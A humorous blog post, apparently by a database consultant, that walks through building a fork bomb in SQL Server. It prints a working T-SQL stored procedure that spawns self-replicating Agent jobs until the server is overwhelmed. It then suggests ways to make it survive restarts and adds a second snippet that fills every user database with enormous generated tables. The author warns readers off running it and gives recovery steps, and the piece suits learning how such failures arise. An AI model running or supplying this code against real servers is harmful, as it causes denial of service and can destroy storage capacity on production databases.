Somewhat different than a sex bomb, a fork bomb is a denial-of-service attack that just starts a process that replicates itself, thereby starting more and more processes until the service goes down. Wikipedia’s fork bomb page lists examples on most operating systems (including Windows).
I’ve always found fork bombs funny because of their elegant simplicity, so I figured, why not build one in SQL Server?
In order to do it, I needed a way to spawn a self-replicating asynchronous process, so I built:
- A stored procedure
- That creates an Agent job
- That runs the stored procedure
So it just infinitely runs itself, spawning more and more Agent jobs as it goes. It’s just seven lines:
CREATE PROC ##ForkBomb AS
DECLARE @GUID UNIQUEIDENTIFIER = NEWID();
EXEC msdb.dbo.sp_add_job @job_name = @GUID;
EXEC msdb.dbo.sp_add_jobstep @job_name = @GUID, @step_id = 1, @step_name = 'Uno', @command = 'WHILE 1 = 1 EXEC ##ForkBomb;', @database_name = 'msdb';
EXEC msdb.dbo.sp_add_jobserver @job_name = @GUID;
EXEC msdb.dbo.sp_start_job @job_name = @GUID;
Run that stored proc just once – WHICH YOU SHOULD NEVER DO, but I know how you people roll and you’re going to go try this in a VM, just like I did – and the result is rather spectacular: within seconds, SQL Server creates thousands of Agent jobs, and they’re fighting for CPU resources:
Seriously, you shouldn’t try this on a VM you ever want to keep again, but if you want to try this trick repeatedly, this Stack answer on deleting Agent jobs will come in handy. To recover, stop both SQL Server and Agent, then start SQL Server without starting Agent.
I’m using a global stored procedure here to limit the damage for fun and games, but if you really wanted to see some explosions, you could:
- Create the stored proc in a user database, or as a permanent object in TempDB
- Add a line to call msdb.dbo.sp_add_schedule to run this job on startup
- Add additional lines in here to run more queries, such as this little gem that randomly creates GUID-named tables in each user database and inflates them
DECLARE @StringToExec NVARCHAR(4000);
SET @StringToExec = 'USE [?]; SELECT m1.text, m2.text AS text2, m3.text AS text3 INTO dbo.[' + CAST(@GUID AS VARCHAR(50)) + '] FROM sys.messages m1 CROSS JOIN sys.messages m2 CROSS JOIN sys.messages m3;'
EXEC sp_MSforeachdb @StringToExec
Wanna watch me run this live, plus a few other stunts? Check out the recording of the Watch SQL Server Break & Explode webcast from Dell DBA Days.